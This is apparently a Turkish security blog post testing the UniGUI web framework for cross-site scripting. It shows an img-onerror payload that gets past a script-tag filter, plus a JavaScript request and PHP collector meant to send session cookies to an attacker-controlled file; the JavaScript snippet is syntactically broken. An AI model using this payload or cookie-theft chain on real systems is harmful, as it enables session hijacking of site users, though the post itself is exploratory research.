UniGUI XSS Payload Vulnerability
2 min read

UniGUI XSS Payload Vulnerability

UniGUI XSS Payload Vulnerability

Merhabalar,

UniGUI, Delphi dili ile web uygulamalar geliştirmenize yarayan ext.js tabanlı bir framework aracıdır. Bu araç ile birçok web uygulaması geliştirebilirsiniz. Birkaç XSS payload testi yaparak acaba böyle bir durumun olup olmadığını test etmek istedim. Bu zafiyetin sistemin işlemesinin engellemesi yanı sıra güçlü bir payload ile anlık session üzerinden tüm çerez bilgilerine erişebilir hatta daha fazlasını yapabilir. Buna benzer bir makalem mevcut, okuyabilirsiniz.

SESSION Hijacking ve Örnek Saldırı

Sistemde <b>, <img>, <a> gibi etiketlere izin veriliyor fakat < script > gibi yürütülebilir etiketlere izin verilmediğini tespit ettim. O zaman şöyle bir payload tasarlasam nasıl bir sonuç elde ederim diye düşündüm ve sonuç bu oldu;

<img src="about:blank" onerror=javascript:alert("xss test")>

Sonuç:

Arka planda test için yazmış olduğum bir uygulama mevcut fakat reelde bir üye kayıt gereksinimli bir sistem düşünün ve kullanıcı adını bu payload ile giriş yaptığını düşünürsek saldırganın, veritabanı her bu kullanıcı için istek gönderdiğinde sunucuya ekranda "xss test" adında bir mesaj gözükecek ve haliyle sistemin işlemi duraksayacak. Bunun yanı sıra payloadı biraz güçlendirip SOP yoluyla değilde CORS'u zorlayarak XHR isteği ile bir şeyler yapmaya çalışırsak;

function PHPcagir(params) {
    var httpc = new XMLHttpRequest();
    var url = "cookieal.php";
    httpc.open("POST", url, true);

    httpc.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    httpc.setRequestHeader("Content-Length", params.length);   
     };
     
    httpc.send(params);
}

gibi bir dosyayı uzaktan çağırım yapıp bu çağırma da o an ki oturumda bulunan bilgileri POST edersek, PHP dosyamızda bunu bir metin belgesine yazdırdığını düşünelim;


<?php  

 $dosya = fopen('bilgiler.txt', 'w');
 fwrite($dosya, $_POST['tumbilgiler']);
 fclose($dosya);

?>

Güvenlik açığı diyebilir miyiz 🙃 tam olarak değil aslında. Sadece şimdilik işlemleri engelleyebiliyor. Müsait bir zamanda konuyu derinlemesine araştırıp, testler ile tam bir zafiyet haline getirmeyi düşünüyorum.

Saygılarımla,
İyi çalışmalar.